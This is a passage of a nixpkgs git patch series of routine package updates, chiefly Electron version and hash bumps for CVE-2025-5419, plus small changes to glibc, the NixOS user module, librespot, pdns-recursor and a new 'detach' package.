- Changelog: https://github.com/electron/electron/releases/tag/v35.5.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.5.0...v35.5.1
- Fixes CVE-2025-5419

(cherry picked from commit 7d88bd44155d663632aad535e32ad57156c994f3)
---
 pkgs/development/tools/electron/binary/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index d11cd6dfd364..d7980b762dc0 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -23,14 +23,14 @@
     },
     "35": {
         "hashes": {
-            "aarch64-darwin": "03b2926356c6cf8718b2d62ee8dd1eaa0812c1f44c5a751c332401dd2867aa47",
-            "aarch64-linux": "9e98b01d5c6611437e8eecece093307e3e59733bb64c068fc3f9bd226b92238d",
-            "armv7l-linux": "3072f6865c6f0202d4059224cb43ecab27f03852025addf09a4fa1b6606cb80c",
-            "headers": "0wspga950dap8wk6ak2idsmp8irjn4xaxq431vxr5ik6r07zn89b",
-            "x86_64-darwin": "3cfff8110bd11d2b3c342b56674d3fd5863698d8413a2a97be80169f61e23ddf",
-            "x86_64-linux": "4e9d927a8edecf59dde02b98fe6bfde64814141898650ca1c69820ae0edbcfa4"
+            "aarch64-darwin": "3d2759f9ba2201a22c9ea2bc2cc2b2392d00b5584a613c82f0fe2493b2c7c108",
+            "aarch64-linux": "d3338afa395d2eb9eef1a96278e6ced8aeec87c59e3eff754efdc02325b27c2f",
+            "armv7l-linux": "d73dbb4e39f21d8fcca98b59b278a3ea53728f5d0c469dcf0b88a67b4b2b50c3",
+            "headers": "00r5swhxsv7bj8k35ymmprp1mvz337f066jhh1xsh437b1abvscp",
+            "x86_64-darwin": "87b6abd92012904e2b8cf96062657e4ab9b93d60194da88f44b7d84ca281e847",
+            "x86_64-linux": "8eeaaf8035e471d4c0f4519765feb383c164168d95659d349f36d906dec02fb5"
         },
-        "version": "35.5.0"
+        "version": "35.5.1"
     },
     "36": {
         "hashes": {

From 1685b83cc02768846f85c9d2ed5f56029f6da840 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 4 Jun 2025 18:18:36 +0200
Subject: [PATCH 0690/4511] electron-chromedriver_35: 35.5.0 -> 35.5.1

- Changelog: https://github.com/electron/electron/releases/tag/v35.5.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.5.0...v35.5.1
- Fixes CVE-2025-5419

(cherry picked from commit 0e153293e68b27add2f69228b9b4cc8dab615311)
---
 .../tools/electron/chromedriver/info.json          | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index f2b95261700f..aa197de72f20 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -23,14 +23,14 @@
     },
     "35": {
         "hashes": {
-            "aarch64-darwin": "511a3c6a6b6032985224bcbc1c4884f8673f7573bde7f3919e9797d6645b53c4",
-            "aarch64-linux": "25923b319e958285847d4e5c154eb7877b49380042a20c781185d8b6eb558afa",
-            "armv7l-linux": "d67750b53d37699ade36ebe1912bd72b64af6e825d2d0ac5095531a0b84b191d",
-            "headers": "0wspga950dap8wk6ak2idsmp8irjn4xaxq431vxr5ik6r07zn89b",
-            "x86_64-darwin": "c995faf74d2d7e5b6000b8a1e9551d60e396a19a29796608a090417388a9dd1a",
-            "x86_64-linux": "a1ef549561d64a9d10c1e658f8e86cd735d4261f0c4fc871d8c342240c23d9e0"
+            "aarch64-darwin": "20f78c2d699cdfb676afe06984bce966be143755e5be6b36a7a16ceb950861d4",
+            "aarch64-linux": "1f5442d17ad795ff7e8132b20d0e31dc6c9b275a86011f9827cc1b37c9d7a191",
+            "armv7l-linux": "a384606f04e08ce777d0eb4810cbcda036c4c94fb4ccf5388f9a65a565b28c65",
+            "headers": "00r5swhxsv7bj8k35ymmprp1mvz337f066jhh1xsh437b1abvscp",
+            "x86_64-darwin": "efbc881a7599c5f250f57193d98ad08124e9f678467bc3c0977b694d3a557862",
+            "x86_64-linux": "1929735f9c3c862bad6ed90edce811f25a38daa9e9a77d49c8d39ce309fd499d"
         },
-        "version": "35.5.0"
+        "version": "35.5.1"
     },
     "36": {
         "hashes": {

From a82c1d95a9be2db45f336677bcffb48c9bb5b4bd Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 4 Jun 2025 18:18:47 +0200
Subject: [PATCH 0691/4511] electron_36-bin: 36.3.2 -> 36.4.0

- Changelog: https://github.com/electron/electron/releases/tag/v36.4.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.3.2...v36.4.0
- Fixes CVE-2025-5419

(cherry picked from commit 53cbc1a396c2bfaefa140b150a3492fd3c618c32)
---
 pkgs/development/tools/electron/binary/info.json | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index d7980b762dc0..91b5a1b967af 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -34,13 +34,13 @@
     },
     "36": {
         "hashes": {
-            "aarch64-darwin": "2b51b3001a0e79d9130a379d5276b87c22c054ddf4f19413fd9e0aa2983b4a9e",
-            "aarch64-linux": "0e68a05932d1c662ec8c33a2773aea5575eae1081514cf6ce1c4efe331b772bf",
-            "armv7l-linux": "216d0c8b6a76ef78e7c3b82a45cda251e5d6b038de89bc62f32a7317590d3995",
-            "headers": "1s0didlyil9vzxjkmnf49h7k99319l71m37fdz6zj45v5dnqqj7g",
-            "x86_64-darwin": "460d54a596a3a8a04c6414fb7866e453b7075c1a848bc3230aa01b6d566e8b03",
-            "x86_64-linux": "d124c39544faf125f45f3adccf83e53ca23589d9f35115f69644cfc5c8133e4e"
+            "aarch64-darwin": "33744982d4f182df72b8b22c20fc83942a1bdadcd2358deb83000ca578dd767d",
+            "aarch64-linux": "27bf37e1cecc7683575140730cbcd4e1b0847bace2d5a705c69e6d1bcd1c0f4c",
+            "armv7l-linux": "5953b7f3747d657334b07bc47971cdbfa1b37ef807e21ef5001637aaaa43f635",
+            "headers": "0zww9rwrvi6g5vjpmxsvp1cqqkmx9rnl6yzwba8kyvyapk5daz8d",
+            "x86_64-darwin": "4d33e24a87df1f839053eba4dc8500026df46cc62b7e57c39d5ec2edecddab91",
+            "x86_64-linux": "d2ef32b2bff3fe2594774fca81abda8d617d5f6c0c40529e39900296309e4a3c"
         },
-        "version": "36.3.2"
+        "version": "36.4.0"
     }
 }

From 45c8f2d965ba57712fa59a50e1f7c6c56e4d51d8 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 4 Jun 2025 18:18:57 +0200
Subject: [PATCH 0692/4511] electron-chromedriver_36: 36.3.2 -> 36.4.0

- Changelog: https://github.com/electron/electron/releases/tag/v36.4.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.3.2...v36.4.0
- Fixes CVE-2025-5419

(cherry picked from commit 6d9e078ea6de978a7d8245e5ecf0c8ff4b715b5b)
---
 .../tools/electron/chromedriver/info.json          | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index aa197de72f20..cfed30b50ec1 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -34,13 +34,13 @@
     },
     "36": {
         "hashes": {
-            "aarch64-darwin": "dbbfe5a72cdce199204c32039e5cf38992dd4a5bde95d9a1f351a130fadde340",
-            "aarch64-linux": "ffacf585beb157ab6e2607ac0d288d8cac979f73f08355a50c2244a700272ec1",
-            "armv7l-linux": "d7e290f616e8a7ba2d3b9463939e7b48e3b7f49727483424f3b06ecf7d1bebc6",
-            "headers": "1s0didlyil9vzxjkmnf49h7k99319l71m37fdz6zj45v5dnqqj7g",
-            "x86_64-darwin": "d1dbd94952411b0663f9da05c1c5938d87f4498c798b4b90c7db21bc311329f1",
-            "x86_64-linux": "54296abbcc99416528555113ec0871f230eef5492304827a1208591457d6968a"
+            "aarch64-darwin": "54580cb9d22b469c6eedb5a95b0f499c90e5efb79939dbe401a92461bf2ffda2",
+            "aarch64-linux": "05499a412299c811357250d00beb26c72e0e8abe9bb1c2dbbc23262399821a9e",
+            "armv7l-linux": "4296a52873910c65612e45eba86a6967033b4ee5442eb97ffb8d311eab0e5b1e",
+            "headers": "0zww9rwrvi6g5vjpmxsvp1cqqkmx9rnl6yzwba8kyvyapk5daz8d",
+            "x86_64-darwin": "971dcef573297e05befc8c8618ea5ac38501945e9cee5bf7d49e5a66718cf7b5",
+            "x86_64-linux": "215623fd1736752f70a273a2ea591a8ce0a63a3c4305866cc30c80505aadc5ca"
         },
-        "version": "36.3.2"
+        "version": "36.4.0"
     }
 }

From ec4862d43292cb2a868e2282076e6f81fad2cb20 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 4 Jun 2025 18:42:49 +0200
Subject: [PATCH 0693/4511] electron-source.electron_34: 34.5.7 -> 34.5.8

- Changelog: https://github.com/electron/electron/releases/tag/v34.5.8
- Diff: https://github.com/electron/electron/compare/refs/tags/v34.5.7...v34.5.8
- Fixes CVE-2025-5419

(cherry picked from commit e237be9a454d3ac772db3163d582faf582c1dc25)
---
 pkgs/development/tools/electron/info.json | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index f181728bc62c..a328a6a0e3d2 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -57,10 +57,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-V393R2leEFjj337xVnqo9hlSn7rq44n2PnLcaUrYQ4M=",
+                    "hash": "sha256-ABlVuW0EUsFUyuIaugoI09EsHF+g7fxRSS/bOaOAkjg=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v34.5.7"
+                    "tag": "v34.5.8"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -1274,7 +1274,7 @@
         "electron_yarn_hash": "0gh5bcsh23s3rqxqc2l3jz5vjb553sk0a1jycn94zm821pc3csd2",
         "modules": "132",
         "node": "20.19.1",
-        "version": "34.5.7"
+        "version": "34.5.8"
     },
     "35": {
         "chrome": "134.0.6998.205",

From c7bc25f98cf376fafd33adc5874d6ccc91a80c12 Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 4 Jun 2025 18:59:48 +0200
Subject: [PATCH 0694/4511] electron-source.electron_35: 35.5.0 -> 35.5.1

- Changelog: https://github.com/electron/electron/releases/tag/v35.5.1
- Diff: https://github.com/electron/electron/compare/refs/tags/v35.5.0...v35.5.1
- Fixes CVE-2025-5419

(cherry picked from commit 84093de5993565084a19f4bc1776b885ff71ed88)
---
 pkgs/development/tools/electron/info.json | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index a328a6a0e3d2..a2069edcb3de 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -1334,10 +1334,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-+Kj09hzwmAs5UvzV2wkBY4pPJDDNNmdIcjWXAbfrwz0=",
+                    "hash": "sha256-jIEeMTY8D4o2cCmk2RupGKu9HTVFjNI+90QZlXNrOWM=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v35.5.0"
+                    "tag": "v35.5.1"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -2583,7 +2583,7 @@
         "electron_yarn_hash": "1p9gs8s1zhwxvvmi9zb76k5nn1wly4yq0i12ibr0wvw5ls8bbars",
         "modules": "133",
         "node": "22.15.1",
-        "version": "35.5.0"
+        "version": "35.5.1"
     },
     "36": {
         "chrome": "136.0.7103.115",

From dd72f3c87530d36c5d071ba576a2e361bdca4b9c Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Wed, 4 Jun 2025 19:33:18 +0200
Subject: [PATCH 0695/4511] electron-source.electron_36: 36.3.2 -> 36.4.0

- Changelog: https://github.com/electron/electron/releases/tag/v36.4.0
- Diff: https://github.com/electron/electron/compare/refs/tags/v36.3.2...v36.4.0
- Fixes CVE-2025-5419

(cherry picked from commit 308e77ddac6ade9b4771711c16f8e603bd3fbfb9)
---
 pkgs/development/tools/electron/info.json | 18 +++++++++---------
 1 file changed, 9 insertions(+), 9 deletions(-)

diff --git a/pkgs/development/tools/electron/info.json b/pkgs/development/tools/electron/info.json
index a2069edcb3de..d2e91a284230 100644
--- a/pkgs/development/tools/electron/info.json
+++ b/pkgs/development/tools/electron/info.json
@@ -2586,7 +2586,7 @@
         "version": "35.5.1"
     },
     "36": {
-        "chrome": "136.0.7103.115",
+        "chrome": "136.0.7103.149",
         "chromium": {
             "deps": {
                 "gn": {
@@ -2596,15 +2596,15 @@
                     "version": "2025-03-24"
                 }
             },
-            "version": "136.0.7103.115"
+            "version": "136.0.7103.149"
         },
         "chromium_npm_hash": "sha256-QRjk9X4rJW3ofizK33R4T1qym1riqcnpBhDF+FfNZLo=",
         "deps": {
             "src": {
                 "args": {
-                    "hash": "sha256-yUWNV65TshvAMaz1kGOUQuy+J5vXPryjisGN3MxTU9Q=",
+                    "hash": "sha256-qu3+U2o7N0MSx+nifQMAfSEjxTDIBSz/DNkEZdo5uFw=",
                     "postFetch": "rm -r $out/third_party/blink/web_tests; rm -r $out/content/test/data; rm -rf $out/courgette/testdata; rm -r $out/extensions/test/data; rm -r $out/media/test/data; ",
-                    "tag": "136.0.7103.115",
+                    "tag": "136.0.7103.149",
                     "url": "https://chromium.googlesource.com/chromium/src.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -2643,10 +2643,10 @@
             },
             "src/electron": {
                 "args": {
-                    "hash": "sha256-bMQJfOkWRFE7Qg4kHiwkNcuXOSWU0EzEGSo8U1SuGTQ=",
+                    "hash": "sha256-DwV8hZ6iK1Pc0j/86UnrkJ6FhOXD3eCBiOk5Y14N4jg=",
                     "owner": "electron",
                     "repo": "electron",
-                    "tag": "v36.3.2"
+                    "tag": "v36.4.0"
                 },
                 "fetcher": "fetchFromGitHub"
             },
@@ -3898,8 +3898,8 @@
             },
             "src/v8": {
                 "args": {
-                    "hash": "sha256-Fi4pl6xSXkHF4XaQNfNzULVjQZSzDfaHFIyIxH103go=",
-                    "rev": "5297e56d91816747d539abca52b578e5832135f0",
+                    "hash": "sha256-COlRcmBtuP/XBe9j4Qxikkz7ZSwcQhcWVe5+I0++OOk=",
+                    "rev": "150f01318cda02f1ef63dd79672eae6c81dd3301",
                     "url": "https://chromium.googlesource.com/v8/v8.git"
                 },
                 "fetcher": "fetchFromGitiles"
@@ -3908,6 +3908,6 @@
         "electron_yarn_hash": "10n86jnzcq8kh0nk29ljw9wi1fgj13f07h92b009i1dryagliyrs",
         "modules": "135",
         "node": "22.15.1",
-        "version": "36.3.2"
+        "version": "36.4.0"
     }
 }

From ad92b74685872ed23b0bdad9c475d9d39c116f1d Mon Sep 17 00:00:00 2001
From: Winter <winter@winter.cafe>
Date: Tue, 3 Jun 2025 17:56:12 -0400
Subject: [PATCH 0696/4511] glibc: allow easier overriding of linux headers
 package

Before this change, one would have to `callPackage` `common.nix` manually,
but now this can be done via `glibc.override`.

(cherry picked from commit 05482c6b799344b813a4b55dd6ebb402c61b28b7)
---
 pkgs/development/libraries/glibc/common.nix  | 1 +
 pkgs/development/libraries/glibc/default.nix | 3 ++-
 2 files changed, 3 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/libraries/glibc/common.nix b/pkgs/development/libraries/glibc/common.nix
index 5117d420463b..18e7d84477f7 100644
--- a/pkgs/development/libraries/glibc/common.nix
+++ b/pkgs/development/libraries/glibc/common.nix
@@ -260,6 +260,7 @@ stdenv.mkDerivation (
 
   // (removeAttrs args [
     "withLinuxHeaders"
+    "linuxHeaders"
     "withGd"
     "enableCET"
     "postInstall"
diff --git a/pkgs/development/libraries/glibc/default.nix b/pkgs/development/libraries/glibc/default.nix
index d165cb8fff62..fc76ebe9ae05 100644
--- a/pkgs/development/libraries/glibc/default.nix
+++ b/pkgs/development/libraries/glibc/default.nix
@@ -3,6 +3,7 @@
   stdenv,
   callPackage,
   withLinuxHeaders ? true,
+  linuxHeaders ? null,
   profilingLibraries ? false,
   withGd ? false,
   enableCET ? if stdenv.hostPlatform.isx86_64 then "permissive" else false,
@@ -19,7 +20,7 @@ let
   ];
 in
 
-(callPackage ./common.nix { inherit stdenv; } {
+(callPackage ./common.nix { inherit stdenv linuxHeaders; } {
   inherit
     withLinuxHeaders
     withGd

From 011a4662a7b23fba4296fa51e834b4c7db84cadc Mon Sep 17 00:00:00 2001
From: JuliusFreudenberger <julius+git@jfreudenberger.de>
Date: Fri, 6 Jun 2025 15:35:10 +0300
Subject: [PATCH 0697/4511] teleport_16: 16.5.10 -> 16.5.11

Changelog: https://github.com/gravitational/teleport/releases/tag/v16.5.11
Diff: https://github.com/gravitational/teleport/compare/v16.5.10...v16.5.11
(cherry picked from commit ef984d1859b1ba6d35d5813dba26d59aee22c3c9)
---
 pkgs/by-name/te/teleport_16/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/te/teleport_16/package.nix b/pkgs/by-name/te/teleport_16/package.nix
index 8011f843ac44..e33ad9171a3a 100644
--- a/pkgs/by-name/te/teleport_16/package.nix
+++ b/pkgs/by-name/te/teleport_16/package.nix
@@ -2,9 +2,9 @@
   teleport,
 }:
 teleport.override {
-  version = "16.5.10";
-  hash = "sha256-i+2IK+X0Opyv2tQPpj2XhY64aQGdbylS/C7LsTykuXI=";
-  vendorHash = "sha256-DdVBtMwz0AIGCYj/QLczG8GPP9mqKrdF+M0NqmM6J0I=";
+  version = "16.5.11";
+  hash = "sha256-uLis1oRTr5J2bKaJtnVAIQ0ixYT8BYLo4jQPcdFp82s=";
+  vendorHash = "sha256-OcVHckqxpTVz6Gaemt3+9WxBQc5D5QBxb3IMGOMq4LI=";
   pnpmHash = "sha256-JQca2eFxcKJDHIaheJBg93ivZU95UWMRgbcK7QE4R10=";
   cargoHash = "sha256-04zykCcVTptEPGy35MIWG+tROKFzEepLBmn04mSbt7I=";
 }

From 6a9000786029998d6c2f0ce22d988835b81da7ec Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Thu, 5 Jun 2025 23:37:43 +0200
Subject: [PATCH 0698/4511] palemoon-bin: 33.7.1 -> 33.7.2

https://www.palemoon.org/releasenotes.shtml#v33.7.2
(cherry picked from commit 1e422c37983d81e275d9b005b2791dafc61f9530)
---
 pkgs/applications/networking/browsers/palemoon/bin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/networking/browsers/palemoon/bin.nix b/pkgs/applications/networking/browsers/palemoon/bin.nix
index 5defd3f14dd5..476f8c8d9dbd 100644
--- a/pkgs/applications/networking/browsers/palemoon/bin.nix
+++ b/pkgs/applications/networking/browsers/palemoon/bin.nix
@@ -23,7 +23,7 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "palemoon-bin";
-  version = "33.7.1";
+  version = "33.7.2";
 
   src = finalAttrs.passthru.sources."gtk${if withGTK3 then "3" else "2"}";
 
@@ -174,11 +174,11 @@ stdenv.mkDerivation (finalAttrs: {
       {
         gtk3 = fetchzip {
           urls = urlRegionVariants "gtk3";
-          hash = "sha256-80L93pQaozdyqMnIswWnS+gNo+xVYv5eFVNnLiK/rcU=";
+          hash = "sha256-GE45GZ+OmNNwRLTD2pcZpqRA66k4q/+lkQnGJG+z6nQ=";
         };
         gtk2 = fetchzip {
           urls = urlRegionVariants "gtk2";
-          hash = "sha256-dnDQKRCqADzdotJRUeETqaGV+S+M6/de5LuBgMYYvPE=";
+          hash = "sha256-yJPmmQ9IkGzort9OPPWzv+LSeJci8VNoso3NLYev51Q=";
         };
       };
 

From f5da24ea3d4cf4051234406339242001d11f096b Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 7 Jun 2025 15:57:10 +0000
Subject: [PATCH 0699/4511] postgresqlPackages.pg_net: 0.14.0 -> 0.15.1

(cherry picked from commit 8308f5ed6a8fe8b816e5668a58cf6ebc1974d163)
---
 pkgs/servers/sql/postgresql/ext/pg_net.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/servers/sql/postgresql/ext/pg_net.nix b/pkgs/servers/sql/postgresql/ext/pg_net.nix
index ce821a3b1901..5ac42c9bb499 100644
--- a/pkgs/servers/sql/postgresql/ext/pg_net.nix
+++ b/pkgs/servers/sql/postgresql/ext/pg_net.nix
@@ -8,13 +8,13 @@
 
 postgresqlBuildExtension (finalAttrs: {
   pname = "pg_net";
-  version = "0.14.0";
+  version = "0.15.1";
 
   src = fetchFromGitHub {
     owner = "supabase";
     repo = "pg_net";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-c1pxhTyrE5j6dY+M5eKAboQNofIORS+Dccz+7HKEKQI=";
+    hash = "sha256-BhLZdoMeK6QkmEEn3/+G6+TElFea2uifaQBW5aftqpM=";
   };
 
   buildInputs = [ curl ];

From 54e847a0885f75aa26ecb217efdcdc30a0f5f54e Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 3 Jun 2025 08:59:48 +0000
Subject: [PATCH 0700/4511] flake-checker: 0.2.6 -> 0.2.7

(cherry picked from commit 6333a028bb6813fc84a19ca34f9539630815f9dd)
---
 pkgs/by-name/fl/flake-checker/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fl/flake-checker/package.nix b/pkgs/by-name/fl/flake-checker/package.nix
index 51b6b98b2ac2..8a1e86d09794 100644
--- a/pkgs/by-name/fl/flake-checker/package.nix
+++ b/pkgs/by-name/fl/flake-checker/package.nix
@@ -6,17 +6,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "flake-checker";
-  version = "0.2.6";
+  version = "0.2.7";
 
   src = fetchFromGitHub {
     owner = "DeterminateSystems";
     repo = "flake-checker";
     rev = "v${version}";
-    hash = "sha256-qEdwtyk5IaYCx67BFnLp4iUN+ewfPMl/wjs9K4hKqGc=";
+    hash = "sha256-RwkyyrWm0QRNOn7Bb9jKOyJ049B6pPmhbrx8tXpUf4w=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-5eaVjrAPxBQdG+LQ6mQ/ZYAdslpdK3mrZ5Vbuwe3iQw=";
+  cargoHash = "sha256-lB7+2dQGfbn7IhmCAN0jvFTGjJDBpw57VHi3qIwwOZ4=";
 
   meta = with lib; {
     description = "Health checks for your Nix flakes";

From 2f534ed8eab7d9412fe291d336fca110afb6dd1e Mon Sep 17 00:00:00 2001
From: Katalin Rebhan <me@dblsaiko.net>
Date: Mon, 4 Mar 2024 23:15:13 +0100
Subject: [PATCH 0701/4511] nixos/users-groups: allow changing default home
 directory

(cherry picked from commit 6f7d7cf76fb01215fca32ecd31bcd86d2250472e)
---
 nixos/modules/config/users-groups.nix | 10 +++++++++-
 nixos/modules/programs/shadow.nix     |  2 +-
 2 files changed, 10 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/config/users-groups.nix b/nixos/modules/config/users-groups.nix
index 1eb3e47a46ae..636ff2655a65 100644
--- a/nixos/modules/config/users-groups.nix
+++ b/nixos/modules/config/users-groups.nix
@@ -477,7 +477,7 @@ let
         (mkIf config.isNormalUser {
           group = mkDefault "users";
           createHome = mkDefault true;
-          home = mkDefault "/home/${config.name}";
+          home = mkDefault "${cfg.defaultUserHome}/${config.name}";
           homeMode = mkDefault "700";
           useDefaultShell = mkDefault true;
           isSystemUser = mkDefault false;
@@ -753,6 +753,14 @@ in
       '';
     };
 
+    users.defaultUserHome = mkOption {
+      type = types.str;
+      default = "/home";
+      description = ''
+        The default home directory for normal users.
+      '';
+    };
+
     # systemd initrd
     boot.initrd.systemd.users = mkOption {
       description = ''
diff --git a/nixos/modules/programs/shadow.nix b/nixos/modules/programs/shadow.nix
index 44e0f44dfecc..e8eb756f8f59 100644
--- a/nixos/modules/programs/shadow.nix
+++ b/nixos/modules/programs/shadow.nix
@@ -217,7 +217,7 @@ in
           # /etc/default/useradd: configuration for useradd.
           "default/useradd".source = pkgs.writeText "useradd" ''
             GROUP=100
-            HOME=/home
+            HOME=${config.users.defaultUserHome}
             SHELL=${utils.toShellPath config.users.defaultUserShell}
           '';
         };

From a965735abbeb0ab30fa04ffa7e809f8e75c0c356 Mon Sep 17 00:00:00 2001
From: Peder Bergebakken Sundt <pbsds@hotmail.com>
Date: Fri, 6 Jun 2025 20:35:31 +0200
Subject: [PATCH 0702/4511] detach: init at 0.2.3

(cherry picked from commit cb742cea3fc1de19ee8aed81b1083620d010e9f0)
---
 pkgs/by-name/de/detach/package.nix | 38 ++++++++++++++++++++++++++++++
 1 file changed, 38 insertions(+)
 create mode 100644 pkgs/by-name/de/detach/package.nix

diff --git a/pkgs/by-name/de/detach/package.nix b/pkgs/by-name/de/detach/package.nix
new file mode 100644
index 000000000000..a9025beaee11
--- /dev/null
+++ b/pkgs/by-name/de/detach/package.nix
@@ -0,0 +1,38 @@
+{
+  lib,
+  stdenv,
+  fetchzip,
+  installShellFiles,
+}:
+
+stdenv.mkDerivation rec {
+  pname = "detach";
+  version = "0.2.3";
+
+  src = fetchzip {
+    url = "http://inglorion.net/download/detach-${version}.tar.bz2";
+    hash = "sha256-nnhJGtmPlTeqM20FAKRyhhSMViTXFpQT0A1ol4lhsoc=";
+  };
+
+  nativeBuildInputs = [ installShellFiles ];
+
+  dontConfigure = true;
+
+  makeFlags = [ "PREFIX=$(out)" ];
+
+  postInstall = ''
+    installShellCompletion --cmd detach \
+      --zsh contrib/zsh-completer/_detach
+  '';
+
+  doCheck = false;
+
+  meta = {
+    description = "Utility for running a command detached from the current terminal";
+    homepage = "https://inglorion.net/software/detach/";
+    license = lib.licenses.mit;
+    mainProgram = "detach";
+    maintainers = with lib.maintainers; [ pbsds ];
+    platforms = lib.platforms.unix;
+  };
+}

From 0016f0134ce515357190ce9d99b836bdf76e1fae Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Maximilian=20G=C3=BCntner?= <code@mguentner.de>
Date: Sun, 6 Apr 2025 21:48:05 +0200
Subject: [PATCH 0703/4511] librespot: add withMDNS + withDNS-SD arguments

librespot always included the zeroconf mdns backend prior to
https://github.com/librespot-org/librespot/commit/94d174c33d30a4baa30799b4e9a85b63d4331b2c
(included in release 0.6.0).

This added the `with-libmdns` feature and enabled it by default,
reflecting the settings of 0.5.0.

Since the derivation disables all default features, switching to 0.6.0
silently removed the mdns zeroconf backend of librespot.

Also removes `avahi-compat` as buildInput for `withAvahi` as it is
not needed.

(cherry picked from commit fa56896456dd075d1db65105ed12c05e150276a8)
---
 pkgs/applications/audio/librespot/default.nix | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/pkgs/applications/audio/librespot/default.nix b/pkgs/applications/audio/librespot/default.nix
index 6a29a96e470b..bcb2d3a739f8 100644
--- a/pkgs/applications/audio/librespot/default.nix
+++ b/pkgs/applications/audio/librespot/default.nix
@@ -15,6 +15,8 @@
   libpulseaudio,
   withRodio ? true,
   withAvahi ? false,
+  withMDNS ? true,
+  withDNS-SD ? false,
   avahi-compat,
 }:
 
@@ -44,13 +46,15 @@ rustPlatform.buildRustPackage rec {
   buildInputs =
     [ openssl ]
     ++ lib.optional withALSA alsa-lib
-    ++ lib.optional withAvahi avahi-compat
+    ++ lib.optional withDNS-SD avahi-compat
     ++ lib.optional withPortAudio portaudio
     ++ lib.optional withPulseAudio libpulseaudio;
 
   buildNoDefaultFeatures = true;
   buildFeatures =
     lib.optional withRodio "rodio-backend"
+    ++ lib.optional withMDNS "with-libmdns"
+    ++ lib.optional withDNS-SD "with-dns-sd"
     ++ lib.optional withALSA "alsa-backend"
     ++ lib.optional withAvahi "with-avahi"
     ++ lib.optional withPortAudio "portaudio-backend"

From fce8cd453ab5e0bd7dd26cb9a35e589c42cab4b2 Mon Sep 17 00:00:00 2001
From: Peter Lehmann <peter.lehmann@hetzner.com>
Date: Sat, 7 Jun 2025 14:12:59 +0200
Subject: [PATCH 0704/4511] nixos/pdns-recursor: reload service on config
 change

(cherry picked from commit c586196e1739b21b378d27df691a764e7928c06b)
---
 nixos/modules/services/networking/pdns-recursor.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/nixos/modules/services/networking/pdns-recursor.nix b/nixos/modules/services/networking/pdns-recursor.nix
index 42f609128b95..04ae59b7fca9 100644
--- a/nixos/modules/services/networking/pdns-recursor.nix
+++ b/nixos/modules/services/networking/pdns-recursor.nix
@@ -287,7 +287,10 @@ in
 
     systemd.packages = [ pkgs.pdns-recursor ];
 
-    systemd.services.pdns-recursor.wantedBy = [ "multi-user.target" ];
+    systemd.services.pdns-recursor = {
+      restartTriggers = [ config.environment.etc."/pdns-recursor/recursor.yml".source ];
+      wantedBy = [ "multi-user.target" ];
+    };
 
